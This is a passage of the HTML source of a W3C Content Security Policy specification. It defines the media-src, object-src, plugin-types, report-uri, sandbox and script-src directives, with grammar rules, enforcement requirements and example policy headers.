href=\"#directive-media-src\"></a></h3>\n     \n\n\n     <p>The <code><dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"media_src\">media-src<a class=\"self-link\" href=\"#media_src\"></a></dfn></code> directive restricts from where the\n    protected resource can load video, audio, and associated text tracks.\n    The syntax for the name and value of the directive are described by the\n    following ABNF grammar:</p>\n     \n\n    \n     <pre>directive-name    = \"media-src\"\ndirective-value   = <a data-link-type=\"dfn\" href=\"#source_list\">source-list</a>\n</pre>\n     \n\n\n     <p>The term <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"allowed-media-sources\">allowed media sources<a class=\"self-link\" href=\"#allowed-media-sources\"></a></dfn> refers to the result of\n    <a data-link-type=\"dfn\" href=\"#parse-a-source-list\">parsing the <code>media-src</code>\n    directive’s value as a source list</a> if the policy contains an\n    explicit <code>media-src</code>, or otherwise to the list of\n    <a data-link-type=\"dfn\" href=\"#default-sources\">default sources</a>.</p>\n     \n\n\n     <p>Whenever the user agent <a data-link-type=\"dfn\" href=\"https://www.w3.org/TR/html5/infrastructure.html#fetch\">fetches</a> a URL in the course of one of the\n    following activities, if the URL does not\n    <a data-link-type=\"dfn\" href=\"#match-a-source-list\">match</a> the <a data-link-type=\"dfn\" href=\"#allowed-media-sources\">allowed media sources</a>\n    for the <a data-link-type=\"dfn\" href=\"#protected-resource\">protected resource</a>, the user agent MUST act as if there was\n    a fatal network error and no resource was obtained, <em>and</em> <a data-link-type=\"dfn\" href=\"#report-a-violation\">report\n    a violation</a>:</p>\n     \n\n    \n     <ul>\n      \n      <li>Requesting data for a video or audio clip, such as when processing the\n      <code><a data-link-type=\"element-attr\" href=\"https://www.w3.org/TR/html5/embedded-content-0.html#attr-media-src\">src</a></code> attribute of a <code><a data-link-type=\"element\" href=\"https://www.w3.org/TR/html5/embedded-content-0.html#the-video-element\">video</a></code>, <code><a data-link-type=\"element\" href=\"https://www.w3.org/TR/html5/embedded-content-0.html#the-audio-element\">audio</a></code>, <code><a data-link-type=\"element\" href=\"https://www.w3.org/TR/html5/embedded-content-0.html#the-source-element\">source</a></code>, or\n      <code><a data-link-type=\"element\" href=\"https://www.w3.org/TR/html5/embedded-content-0.html#the-track-element\">track</a></code> element.\n      \n    \n     </ul>\n     \n  \n    </section>\n\n\n  \n    <section>\n    \n     <h3 class=\"heading settled\" data-level=\"7.11\" id=\"directive-object-src\"><span class=\"secno\">7.11. </span><span class=\"content\"><code>object-src</code></span><a class=\"self-link\" href=\"#directive-object-src\"></a></h3>\n     \n\n\n     <p>The <code><dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"object_src\">object-src<a class=\"self-link\" href=\"#object_src\"></a></dfn></code> directive restricts from where\n    the protected resource can load plugins. The syntax for the name and value\n    of the directive are described by the following ABNF grammar:</p>\n     \n\n    \n     <pre>directive-name    = \"object-src\"\ndirective-value   = <a data-link-type=\"dfn\" href=\"#source_list\">source-list</a>\n</pre>\n     \n\n\n     <p>The term <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"allowed-object-sources\">allowed object sources<a class=\"self-link\" href=\"#allowed-object-sources\"></a></dfn> refers to the result of\n    <a data-link-type=\"dfn\" href=\"#parse-a-source-list\">parsing the <code>object-src</code>\n    directive’s value as a source list</a> if the policy contains an\n    explicit <code>object-src</code>, or otherwise to the list of\n    <a data-link-type=\"dfn\" href=\"#default-sources\">default sources</a>.</p>\n     \n\n\n     <p>Whenever the user agent <a data-link-type=\"dfn\" href=\"https://www.w3.org/TR/html5/infrastructure.html#fetch\">fetches</a> a URL in the course of one of the\n    following activities, if the URL does not\n    <a data-link-type=\"dfn\" href=\"#match-a-source-list\">match</a> the <a data-link-type=\"dfn\" href=\"#allowed-object-sources\">allowed object sources</a>\n    for the <a data-link-type=\"dfn\" href=\"#protected-resource\">protected resource</a>, the user agent MUST act as if there was a\n    fatal network error and no resource was obtained, <em>and</em> <a data-link-type=\"dfn\" href=\"#report-a-violation\">report a\n    violation</a>:</p>\n     \n\n    \n     <ul>\n      \n      <li>Requesting data for a plugin, such as when processing the\n      <code><a data-link-type=\"element-attr\" href=\"https://www.w3.org/TR/html5/embedded-content-0.html#attr-object-data\">data</a></code> attribute of an <code><a data-link-type=\"element\" href=\"https://www.w3.org/TR/html5/embedded-content-0.html#the-object-element\">object</a></code> element, the <code><a data-link-type=\"element-attr\" href=\"https://www.w3.org/TR/html5/embedded-content-0.html#attr-embed-src\">src</a></code>\n      attribute of an <code><a data-link-type=\"element\" href=\"https://www.w3.org/TR/html5/embedded-content-0.html#the-embed-element\">embed</a></code> element, or the <code><a data-link-type=\"element-attr\" href=\"https://www.w3.org/TR/html5/obsolete.html#dom-applet-code\">code</a></code> or\n      <code><a data-link-type=\"element-attr\" href=\"https://www.w3.org/TR/html5/obsolete.html#dom-applet-archive\">archive</a></code> attributes of an <code><a data-link-type=\"element\" href=\"https://www.w3.org/TR/html5/obsolete.html#the-applet-element\">applet</a></code> element.\n      \n\n      \n      <li>Requesting data for display in a <a data-link-type=\"dfn\" href=\"https://www.w3.org/TR/html5/browsers.html#nested-browsing-context\">nested browsing context</a>\n      in the protected resource created by an <code><a data-link-type=\"element\" href=\"https://www.w3.org/TR/html5/embedded-content-0.html#the-object-element\">object</a></code> or an <code><a data-link-type=\"element\" href=\"https://www.w3.org/TR/html5/embedded-content-0.html#the-embed-element\">embed</a></code>\n      element.\n      \n\n      \n      <li>Navigating such a <a data-link-type=\"dfn\" href=\"https://www.w3.org/TR/html5/browsers.html#nested-browsing-context\">nested browsing context</a>.\n      \n    \n     </ul>\n     \n\n\n     <p>It is not required that the consumer of the element’s data be a\n    <a data-link-type=\"dfn\" href=\"https://www.w3.org/TR/html5/infrastructure.html#plugin\">plugin</a> in order for the <code>object-src</code> directive to be\n    enforced. Data for any <code><a data-link-type=\"element\" href=\"https://www.w3.org/TR/html5/embedded-content-0.html#the-object-element\">object</a></code>, <code><a data-link-type=\"element\" href=\"https://www.w3.org/TR/html5/embedded-content-0.html#the-embed-element\">embed</a></code>, or <code><a data-link-type=\"element\" href=\"https://www.w3.org/TR/html5/obsolete.html#the-applet-element\">applet</a></code> element MUST\n    match the <a data-link-type=\"dfn\" href=\"#allowed-object-sources\">allowed object sources</a> in order to be fetched. This is true\n    even when the element data is semantically equivalent to content which would\n    otherwise be restricted by one of the other <a href=\"#directives\">§7 Directives</a>, such as an\n    <code><a data-link-type=\"element\" href=\"https://www.w3.org/TR/html5/embedded-content-0.html#the-object-element\">object</a></code> element with a <code>text/html</code> MIME type.</p>\n     \n\n\n     <p>Whenever the user agent would load a <a data-link-type=\"dfn\" href=\"https://www.w3.org/TR/html5/infrastructure.html#plugin\">plugin</a> without an associated\n    URL (e.g., because the <code><a data-link-type=\"element\" href=\"https://www.w3.org/TR/html5/embedded-content-0.html#the-object-element\">object</a></code> element lacked a <code><a data-link-type=\"element-attr\" href=\"https://www.w3.org/TR/html5/embedded-content-0.html#attr-object-data\">data</a></code>\n    attribute), if the protected resource’s URL does not\n    <a data-link-type=\"dfn\" href=\"#match-a-source-list\">match</a> the <a data-link-type=\"dfn\" href=\"#allowed-object-sources\">allowed object sources</a>\n    for the <a data-link-type=\"dfn\" href=\"#protected-resource\">protected resource</a>, the user agent MUST NOT load the plugin.</p>\n     \n  \n    </section>\n\n\n  \n    <section>\n    \n     <h3 class=\"heading settled\" data-level=\"7.12\" id=\"directive-plugin-types\"><span class=\"secno\">7.12. </span><span class=\"content\"><code>plugin-types</code></span><a class=\"self-link\" href=\"#directive-plugin-types\"></a></h3>\n     \n\n\n     <p>The <code><dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"plugin_types\">plugin-types<a class=\"self-link\" href=\"#plugin_types\"></a></dfn></code> directive restricts the set\n    of plugins that can be invoked by the protected resource by limiting\n    the types of resources that can be embedded. The syntax for the name\n    and value of the directive are described by the following ABNF\n    grammar:</p>\n     \n\n    \n     <pre>directive-name    = \"plugin-types\"\ndirective-value   = media-type-list\n</pre>\n     \n\n\n     <p>The term <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"allowed-plugin-media-types\">allowed plugin media types<a class=\"self-link\" href=\"#allowed-plugin-media-types\"></a></dfn> refers to the result of\n    <a data-link-type=\"dfn\" href=\"#parse-a-media-type-list\">parsing the <code>plugin-types</code>\n    directive’s value as a media type list</a>.</p>\n     \n\n\n     <p>Whenever the user agent would instantiate a <a data-link-type=\"dfn\" href=\"https://www.w3.org/TR/html5/infrastructure.html#plugin\">plugin</a>\n    to handle <var>resource</var> while enforcing the <code>plugin-types</code>\n    directive, the user agent MUST instead act as though the plugin reported an\n    error <em>and</em> <a data-link-type=\"dfn\" href=\"#report-a-violation\">report a violation</a> if any of the following\n    conditions hold:</p>\n     \n\n    \n     <ul>\n        \n      <li>The plugin is embedded into the protected resource via an\n        <code><a data-link-type=\"element\" href=\"https://www.w3.org/TR/html5/embedded-content-0.html#the-object-element\">object</a></code> or <code><a data-link-type=\"element\" href=\"https://www.w3.org/TR/html5/embedded-content-0.html#the-embed-element\">embed</a></code> element that does not explicitly\n        declare a <a data-link-type=\"dfn\" href=\"https://www.w3.org/TR/html5/infrastructure.html#mime-type\">MIME type</a> via a <code><a data-link-type=\"element-attr\" href=\"https://www.w3.org/TR/html5/embedded-content-0.html#attr-object-type\">type</a></code>\n        attribute.\n      \n\n        \n      <li><var>resource</var>’s media type does not\n        <a data-link-type=\"dfn\" href=\"#match-a-media-type-list\">match</a> the list of <a data-link-type=\"dfn\" href=\"#allowed-plugin-media-types\">allowed\n        plugin media types</a>.\n      \n\n        \n      <li>The plugin is embedded into the protected resource via an\n        <code><a data-link-type=\"element\" href=\"https://www.w3.org/TR/html5/embedded-content-0.html#the-object-element\">object</a></code> or <code><a data-link-type=\"element\" href=\"https://www.w3.org/TR/html5/embedded-content-0.html#the-embed-element\">embed</a></code> element, and the media type declared\n        in the element’s <code><a data-link-type=\"element-attr\" href=\"https://www.w3.org/TR/html5/embedded-content-0.html#attr-object-type\">type</a></code> attribute is not an <a data-link-type=\"dfn\" href=\"https://www.w3.org/TR/html5/infrastructure.html#ascii-case-insensitive\">ASCII\n        case-insensitive match</a> for the <var>resource</var>’s media\n        type.\n      \n\n        \n      <li>The plugin is embedded into the protected resource via an\n        <code><a data-link-type=\"element\" href=\"https://www.w3.org/TR/html5/obsolete.html#the-applet-element\">applet</a></code> element, and <var>resource</var>’s media type is not an\n        <a data-link-type=\"dfn\" href=\"https://www.w3.org/TR/html5/infrastructure.html#ascii-case-insensitive\">ASCII case-insensitive match</a> for\n        <code>application/x-java-applet</code>.\n      \n    \n     </ul>\n     \n\n\n     <p class=\"note\" role=\"note\">Note: In any of these cases, acting as though the plugin reported an\n    error will cause the user agent to display the <a data-link-type=\"dfn\" href=\"https://www.w3.org/TR/html5/dom.html#fallback-content\">fallback\n    content</a>.</p>\n     \n\n\n     <p>Whenever the user agent creates a <a data-link-type=\"dfn\" href=\"https://www.w3.org/TR/html5/browsers.html#plugin-document\">plugin document</a> as the\n    <a data-link-type=\"dfn\" href=\"https://www.w3.org/TR/html5/browsers.html#active-document\">active document</a> of a <a data-link-type=\"dfn\" href=\"https://www.w3.org/TR/html5/browsers.html#child-browsing-context\">child browsing context</a> of the\n    <a data-link-type=\"dfn\" href=\"#protected-resource\">protected resource</a>, if the user agent is enforcing any\n    <code>plugin-types</code> directives for the protected resource, the user\n    agent MUST <a data-link-type=\"dfn\" href=\"#enforce\">enforce</a> those <code>plugin-types</code> directives on the\n    plugin document as well.</p>\n     \n\n\n     <p>Whenever the user agent creates a <a data-link-type=\"dfn\" href=\"https://www.w3.org/TR/html5/browsers.html#plugin-document\">plugin document</a> as the\n    <a data-link-type=\"dfn\" href=\"https://www.w3.org/TR/html5/browsers.html#active-document\">active document</a> of a <a data-link-type=\"dfn\" href=\"https://www.w3.org/TR/html5/browsers.html#child-browsing-context\">child browsing context</a> of the\n    <a data-link-type=\"dfn\" href=\"#protected-resource\">protected resource</a>, if the user agent is monitoring any\n    <code>plugin-types</code> directives for the protected resource, the user\n    agent MUST <a data-link-type=\"dfn\" href=\"#monitor\">monitor</a> those <code>plugin-types</code> directives on the\n    plugin document as well.</p>\n     \n\n    \n     <section class=\"informative\">\n      \n      <h4 class=\"heading settled\" data-level=\"7.12.1\" id=\"plugin-types-usage\"><span class=\"secno\">7.12.1. </span><span class=\"content\">Usage</span><a class=\"self-link\" href=\"#plugin-types-usage\"></a></h4>\n      \n\n\n      <p><em>This section is not normative.</em></p>\n      \n\n\n      <p>The <code>plugin-types</code> directive whitelists a certain set\n      of MIME types that can be embedded in a protected resource. For\n      example, a site might want to ensure that PDF content loads, but that\n      no other plugins can be instantiated. The following directive would\n      satisfy that requirement:</p>\n      \n\n\n      <pre>Content-Security-Policy: <a data-link-type=\"dfn\" href=\"#plugin_types\">plugin-types</a> application/pdf</pre>\n      \n\n\n      <p>Resources embedded via an <code><a data-link-type=\"element\" href=\"https://www.w3.org/TR/html5/embedded-content-0.html#the-embed-element\">embed</a></code> or\n      <code><a data-link-type=\"element\" href=\"https://www.w3.org/TR/html5/embedded-content-0.html#the-object-element\">object</a></code> element delivered with an\n      <code>application/pdf</code> content type would be rendered in the\n      appropriate plugin; resources delivered with some other content type\n      would be blocked. Multiple types can be specified, in any order. If the\n      site decided to additionally allow Flash at some point in the future, it\n      could do so with the following directive:</p>\n      \n\n\n      <pre>Content-Security-Policy: <a data-link-type=\"dfn\" href=\"#plugin_types\">plugin-types</a> application/pdf application/x-shockwave-flash</pre>\n      \n\n\n      <p class=\"note\" role=\"note\">Note: Wildcards are not accepted in the <code>plugin-types</code>\n      directive. Only the resource types explicitly listed in the directive\n      will be allowed.</p>\n      \n  \n     </section>\n     \n  \n     <section class=\"informative\">\n      \n      <h4 class=\"heading settled\" data-level=\"7.12.2\" id=\"plugin-types-predeclaration\"><span class=\"secno\">7.12.2. </span><span class=\"content\">\n        Predeclaration of expected media types\n      </span><a class=\"self-link\" href=\"#plugin-types-predeclaration\"></a></h4>\n      \n\n\n      <p><em>This section is not normative.</em></p>\n      \n\n\n      <p>Enforcing the <code>plugin-types</code> directive requires that\n      <code><a data-link-type=\"element\" href=\"https://www.w3.org/TR/html5/embedded-content-0.html#the-object-element\">object</a></code> and <code><a data-link-type=\"element\" href=\"https://www.w3.org/TR/html5/embedded-content-0.html#the-embed-element\">embed</a></code>\n      elements declare the expected media type of the resource they include via\n      the <code><a data-link-type=\"element-attr\" href=\"https://www.w3.org/TR/html5/embedded-content-0.html#attr-object-type\">type</a></code> attribute. If an author expects\n      to load a PDF, she could specify this as follows:</p>\n      \n\n\n      <pre>&lt;object data=\"<var>resource</var>\" type=\"application/pdf\">&lt;/object></pre>\n      \n\n\n      <p>If <var>resource</var> isn’t actually a PDF file, it won’t\n      load. This prevents certain types of attacks that rely on serving\n      content that unexpectedly invokes a plugin other than that which the\n      author intended.</p>\n      \n\n\n      <p class=\"note\" role=\"note\">Note: <var>resource</var> will not load in this scenario even\n      if its media type is otherwise whitelisted: resources will only load\n      when their media type is whitelisted <em>and</em> matches the\n      declared type in their containing element.</p>\n      \n    \n     </section>\n     \n  \n    </section>\n\n\n  \n    <section>\n    \n     <h3 class=\"heading settled\" data-level=\"7.13\" id=\"directive-report-uri\"><span class=\"secno\">7.13. </span><span class=\"content\"><code>report-uri</code></span><a class=\"self-link\" href=\"#directive-report-uri\"></a></h3>\n     \n\n\n     <p>The <code><dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"report_uri\">report-uri<a class=\"self-link\" href=\"#report_uri\"></a></dfn></code> directive specifies a URL to\n    which the user agent sends reports about policy violation. The syntax\n    for the name and value of the directive are described by the following\n    ABNF grammar:</p>\n     \n\n    \n     <pre>directive-name    = \"report-uri\"\ndirective-value   = <a data-link-type=\"dfn\" href=\"#uri_reference\">uri-reference</a> *( 1*WSP <a data-link-type=\"dfn\" href=\"#uri_reference\">uri-reference</a> )\n<dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"uri_reference\">uri-reference<a class=\"self-link\" href=\"#uri_reference\"></a></dfn>     = &lt;URI-reference from RFC 3986>\n</pre>\n     \n\n\n     <p>The <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"set-of-report-urls\">set of report URLs<a class=\"self-link\" href=\"#set-of-report-urls\"></a></dfn> is the value of the\n    <code>report-uri</code> directive, each resolved relative to the\n    protected resource’s URL.</p>\n     \n\n\n     <p>The process of sending violation reports to the URLs specified in\n    this directive’s value is defined in this document’s\n    <a href=\"#violation-reports\">§4.4 Reporting</a> section.</p>\n     \n\n\n     <p class=\"note\" role=\"note\">Note: The <code>report-uri</code> directive will be ignored if contained\n    within a <a href=\"#delivery-html-meta-element\"><code>meta</code>\n    element</a>.</p>\n     \n  \n    </section>\n\n  \n    <section>\n    \n     <h3 class=\"heading settled\" data-level=\"7.14\" id=\"directive-sandbox\"><span class=\"secno\">7.14. </span><span class=\"content\"><code>sandbox</code></span><a class=\"self-link\" href=\"#directive-sandbox\"></a></h3>\n     \n\n\n     <p>The <code><dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"sandbox\">sandbox<a class=\"self-link\" href=\"#sandbox\"></a></dfn></code> directive specifies an HTML\n    sandbox policy that the user agent applies to the protected resource.\n    The syntax for the name and value of the directive are described by\n    the following ABNF grammar:</p>\n     \n\n    \n     <pre>directive-name    = \"sandbox\"\ndirective-value   = \"\" / sandbox-token *( 1*WSP <a data-link-type=\"dfn\" href=\"#sandbox_token\">sandbox-token</a> )\n<dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"sandbox_token\">sandbox-token<a class=\"self-link\" href=\"#sandbox_token\"></a></dfn>     = &lt;token from RFC 7230>\n</pre>\n     \n\n\n     <p>When enforcing the <code>sandbox</code> directive, the user agent\n    MUST <a data-link-type=\"dfn\" href=\"https://www.w3.org/TR/html5/browsers.html#parse-a-sandboxing-directive\">parse a sandboxing directive</a> using the\n    <code>directive-value</code> as the <em>input</em> and protected\n    resource’s <a data-link-type=\"dfn\" href=\"https://www.w3.org/TR/html5/browsers.html#forced-sandboxing-flag-set\">forced sandboxing flag set</a>\n    as the output. <a data-link-type=\"biblio\" href=\"#biblio-html5\">[HTML5]</a></p>\n     \n\n\n     <p>The <code>sandbox</code> directive will be ignored when <a data-link-type=\"dfn\" href=\"#monitor\">monitoring</a>\n    a policy, and when contained in a policy defined via a\n    <a href=\"#delivery-html-meta-element\"><code>meta</code> element</a>.\n    Moreover, this directive has no effect when <a data-link-type=\"dfn\" href=\"#monitor\">monitored</a>, and has no\n    reporting requirements.</p>\n     \n\n    \n     <h4 class=\"heading settled\" data-level=\"7.14.1\" id=\"sandboxing-and-workers\"><span class=\"secno\">7.14.1. </span><span class=\"content\">Sandboxing and Workers</span><a class=\"self-link\" href=\"#sandboxing-and-workers\"></a></h4>\n     \n\n\n     <p>When delivered via an HTTP header, a Content Security Policy may indicate\n    that sandboxing flags ought to be applied to a JavaScript execution\n    environment that is not a <code class=\"idl\"><a data-link-type=\"idl\" href=\"https://www.w3.org/TR/dom/#interface-document\">Document</a></code>. Of particular interest is the\n    script content intended for use as a Worker, Shared Worker, or Service\n    Worker. Many of the sandboxing flags do not apply to such environments, but\n    <a data-link-type=\"element-attr\" href=\"https://www.w3.org/TR/html5/browsers.html#attr-iframe-sandbox-allow-scripts\">allow-scripts</a> and\n    <a data-link-type=\"element-attr\" href=\"https://www.w3.org/TR/html5/browsers.html#attr-iframe-sandbox-allow-same-origin\">allow-same-origin</a> have special\n    requirements.</p>\n     \n\n\n     <p>When a resource is loaded while executing the <a data-link-type=\"dfn\" href=\"#runs-a-worker\">runs a\n    <code>Worker</code></a> algorithm, the user agent MUST act as if there was\n    a fatal network error and no resource could be obtained if either of the\n    following conditions holds:</p>\n     \n\n    \n     <ol>\n      \n      <li>\n        The <code><a data-link-type=\"dfn\" href=\"#sandbox\">sandbox</a></code> directive delivered with the resource\n        does <em>not</em> contain the\n        <a data-link-type=\"element-attr\" href=\"https://www.w3.org/TR/html5/browsers.html#attr-iframe-sandbox-allow-scripts\">allow-scripts</a> flag.\n      \n      \n      \n      <li>\n        The <code><a data-link-type=\"dfn\" href=\"#sandbox\">sandbox</a></code> directive delivered with the resource\n        does <em>not</em> contain the\n        <a data-link-type=\"element-attr\" href=\"https://www.w3.org/TR/html5/browsers.html#attr-iframe-sandbox-allow-same-origin\">allow-same-origin</a> flag, <em>and</em>\n        the creation of the new execution context requires it to be same-origin\n        with its creating context.\n      \n      \n    \n     </ol>\n     \n\n    \n     <section class=\"informative\">\n      \n      <h4 class=\"heading settled\" data-level=\"7.14.2\" id=\"sandbox-usage\"><span class=\"secno\">7.14.2. </span><span class=\"content\">Usage</span><a class=\"self-link\" href=\"#sandbox-usage\"></a></h4>\n      \n\n\n      <p><em>This section is not normative.</em></p>\n      \n\n      \n      <p>HTML5 defines a <code><a data-link-type=\"element-attr\" href=\"https://www.w3.org/TR/html5/embedded-content-0.html#attr-iframe-sandbox\">sandbox</a></code> attribute for\n      <code><a data-link-type=\"element\" href=\"https://www.w3.org/TR/html5/embedded-content-0.html#the-iframe-element\">iframe</a></code> elements, intended to allow web authors\n      to reduce the risk of including potentially untrusted content by imposing\n      restrictions on that content’s abilities. When the attribute is set,\n      the content is forced into a unique origin, prevented from submitting\n      forms, running script, creating or navigating other browsing contexts,\n      and prevented from running plugins. These restrictions can be loosened\n      by setting certain flags as the attribute’s value.\n\n</p>\n      <p>The <code>sandbox</code> directive allows any resource, framed or\n      not, to ask for the same sorts of restrictions to be applied to\n      itself.</p>\n      \n\n\n      <p>For example, a message board or email system might provide\n      downloads of arbitrary attachments provided by other users. Attacks\n      that rely on tricking a client into rendering one of these attachments\n      could be mitigated by requesting that resources only be rendered in a\n      very restrictive sandbox. Sending the <code>sandbox</code> directive\n      with an empty value establishes such an environment:</p>\n      \n\n\n      <pre>Content-Security-Policy: <a data-link-type=\"dfn\" href=\"#sandbox\">sandbox</a></pre>\n      \n\n\n      <p>More trusted resources might be allowed to run in an environment\n      with fewer restrictions by adding <code>allow-*</code> flags to the\n      directive’s value. For example, you can allow a page that you trust\n      to run script, while ensuring that it isn’t treated as same-origin\n      with the rest of your site. This can be accomplished by sending the\n      <code>sandbox</code> directive with the\n      <code><a data-link-type=\"element-attr\" href=\"https://www.w3.org/TR/html5/browsers.html#attr-iframe-sandbox-allow-scripts\">allow-scripts</a></code> flag:</p>\n      \n\n\n      <pre>Content-Security-Policy: <a data-link-type=\"dfn\" href=\"#sandbox\">sandbox</a> <a data-link-type=\"element-attr\" href=\"https://www.w3.org/TR/html5/browsers.html#attr-iframe-sandbox-allow-scripts\">allow-scripts</a></pre>\n      \n\n\n      <p>The set of flags available to the CSP directive should match those\n      available to the <code><a data-link-type=\"element\" href=\"https://www.w3.org/TR/html5/embedded-content-0.html#the-iframe-element\">iframe</a></code> attribute.\n      Currently, those include:</p>\n      \n\n      \n      <ul>\n        \n       <li><code><a data-link-type=\"element-attr\" href=\"https://www.w3.org/TR/html5/browsers.html#attr-iframe-sandbox-allow-forms\">allow-forms</a></code>\n       \n        \n       <li><code><a data-link-type=\"element-attr\" href=\"https://www.w3.org/TR/html5/browsers.html#attr-iframe-sandbox-allow-pointer-lock\">allow-pointer-lock</a></code>\n       \n        \n       <li><code><a data-link-type=\"element-attr\" href=\"https://www.w3.org/TR/html5/browsers.html#attr-iframe-sandbox-allow-popups\">allow-popups</a></code>\n       \n        \n       <li><code><a data-link-type=\"element-attr\" href=\"https://www.w3.org/TR/html5/browsers.html#attr-iframe-sandbox-allow-same-origin\">allow-same-origin</a></code>\n       \n        \n       <li><code><a data-link-type=\"element-attr\" href=\"https://www.w3.org/TR/html5/browsers.html#attr-iframe-sandbox-allow-scripts\">allow-scripts</a></code>, and\n       \n        \n       <li><code><a data-link-type=\"element-attr\" href=\"https://www.w3.org/TR/html5/browsers.html#attr-iframe-sandbox-allow-top-navigation\">allow-top-navigation</a></code>\n       \n      \n      </ul>\n      \n\n\n      <p class=\"note\" role=\"note\">Note: Like the rest of Content Security Policy, the <code>sandbox</code>\n      directive is meant as a defense-in-depth. Web authors would be well-served\n      to use it <em>in addition to</em> standard sniffing-mitigation and\n      privilege-reduction techniques.</p>\n      \n    \n     </section>\n     \n  \n    </section>\n\n\n  \n    <section>\n    \n     <h3 class=\"heading settled\" data-level=\"7.15\" id=\"directive-script-src\"><span class=\"secno\">7.15. </span><span class=\"content\"><code>script-src</code></span><a class=\"self-link\" href=\"#directive-script-src\"></a></h3>\n     \n\n\n     <p>The <code><dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"script_src\">script-src<a class=\"self-link\" href=\"#script_src\"></a></dfn></code> directive restricts which scripts the\n    protected resource can execute. The directive also controls other resources,\n    such as XSLT style sheets <a data-link-type=\"biblio\" href=\"#biblio-xslt\">[XSLT]</a>, which can cause the user agent to\n    execute script. The syntax for the name and value of the directive are\n    described by the following ABNF grammar:</p>\n     \n\n    \n     <pre>directive-name    = \"script-src\"\ndirective-value   = <a data-link-type=\"dfn\" href=\"#source_list\">source-list</a>\n</pre>\n     \n\n\n     <p>The term <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"allowed-script-sources\">allowed script sources<a class=\"self-link\" href=\"#allowed-script-sources\"></a></dfn> refers to the result of\n    <a data-link-type=\"dfn\" href=\"#parse-a-source-list\">parsing the <code>script-src</code>\n    directive’s value as a source list</a> if the policy contains an\n    explicit <code>script-src</code>, or otherwise to the <a data-link-type=\"dfn\" href=\"#default-sources\">default\n    sources</a>.</p>\n     \n\n\n     <p>If <code>'unsafe-inline'</code> is <strong>not</strong> in the\n    list of <a data-link-type=\"dfn\" href=\"#allowed-script-sources\">allowed script sources</a>, or if at least one\n    <code><a data-link-type=\"dfn\" href=\"#nonce_source\">nonce-source</a></code> or <code><a data-link-type=\"dfn\" href=\"#hash_source\">hash-source</a></code> is\n    present in the list of <a data-link-type=\"dfn\" href=\"#allowed-script-sources\">allowed script sources</a>:</p>\n     \n\n    \n     <ul>\n      \n      <li>Whenever the user agent would execute an inline script from a\n      <code><a data-link-type=\"element\" href=\"https://www.w3.org/TR/html5/scripting-1.html#the-script-element\">script</a></code> element that lacks a <a data-link-type=\"dfn\" href=\"#valid-nonce\">valid nonce</a>\n      <em>and</em> lacks a <a data-link-type=\"dfn\" href=\"#valid-hash\">valid hash</a> for the <a data-link-type=\"dfn\" href=\"#allowed-script-sources\">allowed script\n      sources</a>, instead the user agent MUST NOT execute script, <em>and</em>\n      MUST <a data-link-type=\"dfn\" href=\"#report-a-violation\">report a violation</a>.\n      \n\n      \n      <li>Whenever the user agent would execute an inline script from an\n      inline event handler, instead the user agent MUST NOT execute script,\n      <em>and</em> MUST <a data-link-type=\"dfn\" href=\"#report-a-violation\">report a violation</a>.\n      \n\n      \n      <li>Whenever the user agent would execute script contained in a\n      <code>javascript</code> URL, instead the user agent MUST NOT execute\n      the script, <em>and</em> MUST <a data-link-type=\"dfn\" href=\"#report-a-violation\">report a violation</a>.\n      \n    \n     </ul>\n     \n\n\n     <p>If <code>'unsafe-eval'</code> is <strong>not</strong> in <a data-link-type=\"dfn\" href=\"#allowed-script-sources\">allowed script\n    sources</a>:</p>\n     \n\n    \n     <ul>\n      \n      <li>Instead of evaluating their arguments, both operator\n      <code>eval</code> and function <code>eval</code> <a data-link-type=\"biblio\" href=\"#biblio-ecma-262\">[ECMA-262]</a>\n      MUST throw an <code>EvalError</code> exception.\n      \n\n      \n      <li>When called as a constructor, the function <code>Function</code>\n      <a data-link-type=\"biblio\" href=\"#biblio-ecma-262\">[ECMA-262]</a> MUST throw an <code>EvalError</code> exception.\n      \n\n      \n      <li>When called with a first argument that is not <a data-link-type=\"dfn\" href=\"#callable\">callable</a> (a\n      string, for example), the\n      <code><a class=\"idl-code\" data-link-type=\"method\" href=\"https://www.w3.org/TR/html5/webappapis.html#dom-windowtimers-settimeout\">setTimeout()</a></code> function MUST\n      return zero without creating a timer.\n      \n\n      \n      <li>When called with a first argument that is not <a data-link-type=\"dfn\" href=\"#callable\">callable</a> (a\n      string, for example), the\n      <code><a class=\"idl-code\" data-link-type=\"method\" href=\"https://www.w3.org/TR/html5/webappapis.html#dom-windowtimers-setinterval\">setInterval()</a></code> function MUST\n      return zero without creating a timer.\n      \n    \n     </ul>\n     \n\n\n     <p>Whenever the user agent <a data-link-type=\"dfn\" href=\"https://www.w3.org/TR/html5/infrastructure.html#fetch\">fetches</a> a URL (including when following\n    redirects) in the course of one of the following activities, if the URL does\n    not <a data-link-type=\"dfn\" href=\"#match-a-source-list\">match</a> the <a data-link-type=\"dfn\" href=\"#allowed-script-sources\">allowed script\n    sources</a> for the <a data-link-type=\"dfn\" href=\"#protected-resource\">protected resource</a>, the user agent MUST act as if\n    there was a fatal network error and no resource was obtained, <em>and</em>\n    <a data-link-type=\"dfn\" href=\"#report-a-violation\">report a violation</a>:</p>\n     \n\n    \n     <ul>\n      \n      <li>Requesting a script while processing the <code><a data-link-type=\"element-attr\" href=\"https://www.w3.org/TR/html5/scripting-1.html#attr-script-src\">src</a></code> attribute of\n      a <code><a data-link-type=\"element\" href=\"https://www.w3.org/TR/html5/scripting-1.html#the-script-element\">script</a></code> element that lacks a <a data-link-type=\"dfn\" href=\"#valid-nonce\">valid nonce</a> for the <a data-link-type=\"dfn\" href=\"#allowed-script-sources\">allowed\n      script sources</a>.\n      \n\n      \n      <li>Requesting a script while invoking the <code>importScripts</code>\n      method on a WorkerGlobalScope object. <a data-link-type=\"biblio\" href=\"#biblio-workers\">[WORKERS]</a>\n      \n\n      \n      <li>Requesting an HTML component, such as\n      when processing the <code>href</code> attribute of a <code><a data-link-type=\"element\" 